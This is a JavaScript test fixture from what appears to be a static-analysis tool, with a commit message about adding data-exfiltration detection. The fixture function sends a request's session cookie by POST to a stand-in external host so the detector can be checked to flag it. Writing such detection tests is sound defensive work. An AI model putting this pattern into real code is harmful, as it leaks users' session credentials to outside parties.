nyx/tests/fixtures/js/fetch_data_exfil_external_destination.js

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Added Cap::DATA_EXFIL and taint fp and fn fixes on real repos (#59) * feat: Enhance data exfiltration detection with source sensitivity gating for cookies and headers * feat: Implement cross-file data exfiltration detection with parameter-specific gate filters * feat: Add calibration tests and refine DATA_EXFIL severity scoring logic * feat: Introduce per-detector configuration for data exfiltration suppression * feat: Enhance DATA_EXFIL findings with destination field tracking in diagnostics and SARIF output * feat: Add tainted body and URL handling for data exfiltration detection * feat: Add integration tests and fixtures for DATA_EXFIL and SSRF detection in Go * feat: Add Java integration tests and fixtures for DATA_EXFIL detection across multiple HTTP clients * feat: Add synthetic externals handling for closure-captured variables in SSA * feat: Implement closure-based suppression for resource leak findings * feat: Add regression guards for shell-injection and taint propagation in for-of destructure patterns * feat: Implement constructor cap narrowing for data exfiltration detection in HTTP request builders * feat: Add gated sinks for data exfiltration detection in C and C++ using curl_easy_setopt * feat: Implement DATA_EXFIL cap parity for backwards analysis and add integration tests * feat: Add data exfiltration sinks for various languages and enhance documentation * refactor: Simplify formatting and improve readability in various files * refactor: Improve readability by simplifying conditional statements and adding clippy linting * docs: Update CHANGELOG and comments for data exfiltration features and configuration * docs: Clarify configuration instructions for data exfiltration trusted destinations * docs: Enhance comments for evidence routing logic in data exfiltration
2026-05-01 10:59:52 -04:00
// DATA_EXFIL allowlist-NEGATIVE fixture.
//
// The destination URL prefix (`https://untrusted.example.com/`) is NOT
// covered by the harness-installed
// [detectors.data_exfil.trusted_destinations] entries, so the cap MUST
// still fire on a Sensitive source flowing into the body.
//
// Driven by `fetch_data_exfil_suppression_tests.rs`.
function leakBodyExternal(req) {
var payload = req.cookies.session;
fetch('https://untrusted.example.com/intake', {
method: 'POST',
body: payload,
});
}